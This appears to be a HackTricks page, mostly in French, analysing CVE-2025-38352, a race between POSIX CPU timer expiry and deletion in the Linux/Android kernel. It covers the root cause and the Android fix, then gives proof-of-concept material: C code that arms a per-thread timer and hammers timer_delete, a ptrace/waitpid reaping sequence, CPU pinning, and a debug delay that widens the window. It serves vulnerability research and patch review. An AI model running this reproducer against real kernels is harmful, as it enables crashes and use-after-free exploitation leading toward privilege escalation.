POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette page décrit une condition de course TOCTOU dans Linux/Android POSIX CPU timers qui peut corrompre l’état du timer et provoquer un plantage du kernel, et qui, dans certaines circonstances, peut être exploitée pour une privilege escalation.
- Composant affecté : kernel/time/posix-cpu-timers.c
- Primitive : expiry vs deletion race under task exit
- Dépendant de la configuration : CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Rappel rapide de l’architecture interne (pertinent pour l’exploitation)
- Trois horloges CPU gèrent la comptabilité des timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime seulement
- CPUCLOCK_SCHED: task_sched_runtime()
- La création d’un timer attache le timer à une tâche/pid et initialise les nœuds timerqueue :
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- L’armement insère dans une timerqueue per-base et peut mettre à jour le cache next-expiry:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Le chemin rapide évite un traitement coûteux à moins que des expirations mises en cache n’indiquent un déclenchement possible :
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
Expiration collecte les timers expirés, les marque comme déclenchés, les déplace hors de la file d’attente ; la livraison effective est différée :
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
Deux modes de traitement des expirations
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: l’expiration est différée via task_work sur la tâche cible
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l’expiration est gérée directement dans le contexte IRQ
Task_work vs IRQ : chemins d'expiration
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```Dans le chemin IRQ-context, la liste des déclenchements est traitée en dehors de sighand
Boucle de livraison en contexte IRQ
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```Root cause: TOCTOU entre l’expiration en IRQ et la suppression concurrente lors du task exit Préconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK est désactivé (chemin IRQ utilisé)
- La task cible est en train de se terminer mais n’a pas encore été complètement libérée
- Un autre thread appelle simultanément posix_cpu_timer_del() pour le même timer
Séquence
- update_process_times() déclenche run_posix_cpu_timers() en contexte IRQ pour la task en cours de sortie.
- collect_timerqueue() définit ctmr->firing = 1 et déplace le timer dans la liste temporaire des timers en cours d’exécution.
- handle_posix_cpu_timers() libère sighand via unlock_task_sighand() afin de délivrer les timers en dehors du verrou.
- Immédiatement après le unlock, la task en cours de sortie peut être reapée ; un thread frère exécute posix_cpu_timer_del().
- Dans cette fenêtre, posix_cpu_timer_del() peut échouer à acquérir l’état via cpu_timer_task_rcu()/lock_task_sighand() et ainsi sauter la garde normale “in-flight” qui vérifie timer->it.cpu.firing. La suppression se poursuit comme si le timer n’était pas en cours de firing, corrompant l’état pendant que l’expiration est traitée, ce qui peut provoquer des crashes/UB.
How release_task() and timer_delete() free firing timers
Même après que handle_posix_cpu_timers() a retiré le timer de la liste de la task, un zombie ptraced peut encore être reapé. La pile waitpid() conduit release_task() → __exit_signal(), qui détruit sighand et les signal queues pendant qu’un autre CPU détient encore des pointeurs vers l’objet timer :
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
Avec sighand détaché, timer_delete() renvoie toujours un succès parce que posix_cpu_timer_del() laisse ret = 0 lorsque le verrouillage échoue, donc le syscall procède à la libération de l’objet via RCU:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Parce que l’objet slab est RCU-freed tandis que le contexte IRQ parcourt encore la liste firing, la réutilisation du cache de timers devient un primitif UAF.
Diriger la suppression (reaping) avec ptrace + waitpid
La façon la plus simple de garder un zombie sans qu’il soit récupéré automatiquement est de ptracer un thread worker qui n’est pas le leader du groupe de threads. exit_notify() définit d’abord exit_state = EXIT_ZOMBIE et ne passe à EXIT_DEAD que si autoreap est vrai. Pour les threads ptracés, autoreap = do_notify_parent() reste faux tant que SIGCHLD n’est pas ignoré, donc release_task() ne s’exécute que lorsque le parent appelle explicitement waitpid():
- Use pthread_create() inside the tracee so the victim is not the thread-group leader (wait_task_zombie() handles ptraced non-leaders).
- Le parent exécute
ptrace(PTRACE_ATTACH, tid)puiswaitpid(tid, __WALL)pour déclencher do_wait_pid() → wait_task_zombie() → release_task(). - Des pipes ou de la mémoire partagée transmettent le TID exact au parent pour que le bon worker soit récupéré sur demande.
Cette chorégraphie garantit une fenêtre où handle_posix_cpu_timers() peut encore référencer tsk->sighand, tandis qu’un waitpid() ultérieur le détruit et permet à timer_delete() de récupérer le même objet k_itimer.
Pourquoi le mode TASK_WORK est sûr par conception
- Avec CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, l’expiration est différée à task_work ; exit_task_work s’exécute avant exit_notify, donc le chevauchement en temps d’IRQ avec la suppression (reaping) n’a pas lieu.
- Même dans ce cas, si la tâche est déjà en train de se terminer, task_work_add() échoue ; le contrôle par exit_state rend les deux modes cohérents.
Fix (Android common kernel) and rationale
- Ajouter un retour anticipé si la tâche courante est en train de se terminer, empêchant tout traitement :
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- Cela empêche d’entrer dans handle_posix_cpu_timers() pour les tâches en cours de sortie, éliminant la fenêtre où posix_cpu_timer_del() pourrait manquer cpu.firing et race avec le traitement d’expiration.
Impact
- La corruption mémoire du noyau des structures de timer lors d’une expiration/suppression concurrente peut provoquer des crashs immédiats (DoS) et constitue un puissant vecteur vers le privilege escalation en raison des opportunités de manipulation arbitraire de l’état du noyau.
Triggering the bug (safe, reproducible conditions) Build/config
- Assurez-vous que CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n et utilisez un noyau sans le correctif de gating exit_state. Sur x86/arm64 l’option est normalement forcée via HAVE_POSIX_CPU_TIMERS_TASK_WORK, donc les chercheurs patchent souvent
kernel/time/Kconfigpour exposer un commutateur manuel :
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Cela reflète ce que les fournisseurs Android ont fait pour les builds d’analyse ; en amont, x86_64 et arm64 forcent HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, donc le chemin IRQ vulnérable existe principalement sur les noyaux Android 32 bits où l’option est compilée en dehors.
- Run on a multi-core VM (e.g., QEMU
-smp cores=4) so parent, child main, and worker threads can stay pinned to dedicated CPUs.
Runtime strategy
- Cibler un thread sur le point de se terminer et lui attacher un CPU timer (per-thread or process-wide clock) :
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
- Armer avec une expiration initiale très courte et un petit intervalle pour maximiser les entrées sur le chemin IRQ :
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- Depuis un thread sibling, supprimer simultanément le même timer pendant que le thread cible se termine :
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Amplificateurs de la condition de course : taux de tick du scheduler élevé, charge CPU, cycles répétés de sortie/re-création de thread. Le crash se manifeste typiquement lorsque posix_cpu_timer_del() ne remarque pas le déclenchement à cause d’un échec de lookup/locking de la task juste après unlock_task_sighand().
Orchestration pratique du PoC
Chorégraphie des threads et IPC
Un reproducer fiable fork() en un parent utilisant ptrace et un enfant qui lance le worker thread vulnérable. Deux pipes (c2p, p2c) transmettent le TID du worker et verrouillent chaque phase, tandis qu’un pthread_barrier_t empêche le worker d’armer son timer tant que le parent ne s’est pas attaché. Chaque processus ou thread est épinglé avec sched_setaffinity() (par ex. parent sur CPU1, child main sur CPU0, worker sur CPU2) pour minimiser le bruit du scheduler et garder la race reproductible.
Calibration du timer avec CLOCK_THREAD_CPUTIME_ID
Le worker arme un timer CPU par-thread pour que seule sa propre consommation CPU fasse avancer la deadline. Un wait_time réglable (par défaut ≈250 µs de temps CPU) plus une boucle busy bornée garantissent que exit_notify() positionne EXIT_ZOMBIE alors que le timer est sur le point de se déclencher :
Squelette minimal du timer CPU par fil
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(“timer fired”); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### Chronologie de la course
1. L'enfant indique au parent le TID du worker via `c2p`, puis se bloque sur la barrière.
2. Le parent effectue `PTRACE_ATTACH`, attend dans `waitpid(__WALL)`, puis fait `PTRACE_CONT` pour laisser le worker s'exécuter et sortir.
3. Quand des heuristiques (ou une intervention manuelle) suggèrent que le timer a été déplacé dans la liste `firing` côté IRQ, le parent exécute de nouveau `waitpid(tid, __WALL)` pour déclencher release_task() et libérer `tsk->sighand`.
4. Le parent signale l'enfant via `p2c` afin que le main de l'enfant appelle `timer_delete(timer)` et lance immédiatement une aide comme `wait_for_rcu()` jusqu'à ce que le callback RCU du timer soit terminé.
5. Le contexte IRQ reprend finalement `handle_posix_cpu_timers()` et déréférence le `struct k_itimer` libéré, déclenchant KASAN ou des WARN_ON().
#### Instrumentation optionnelle du noyau
Pour des environnements de recherche, injecter un `mdelay(500)` réservé au debug à l'intérieur de handle_posix_cpu_timers() lorsque `tsk->comm == "SLOWME"` élargit la fenêtre temporelle de sorte que la chorégraphie ci‑dessus remporte presque toujours la course. Le même PoC renomme aussi les threads (`prctl(PR_SET_NAME, ...)`) pour que les logs du noyau et les breakpoints confirment que le worker attendu est bien réclamé.
### Indicateurs d'instrumentation pendant l'exploitation
- Ajoutez des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() pour repérer les cas où `it.cpu.firing==1` coïncide avec un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveillez la cohérence de timerqueue lors de la sortie de la victime.
- KASAN rapporte typiquement `slab-use-after-free` à l'intérieur de posix_timer_queue_signal(), tandis que les noyaux sans KASAN loggent WARN_ON_ONCE() depuis send_sigqueue() quand la race aboutit, fournissant un indicateur de succès rapide.
Audit hotspots (pour relecteurs)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Remarques pour la recherche sur l'exploitation
- Le comportement divulgué est une primitive fiable de plantage du noyau ; en faire une escalade de privilèges nécessite typiquement un chevauchement contrôlable supplémentaire (durée de vie d'objet ou influence write-what-where) hors du cadre de ce résumé. Traitez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des émulateurs/VMs.
## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>
HackTricks

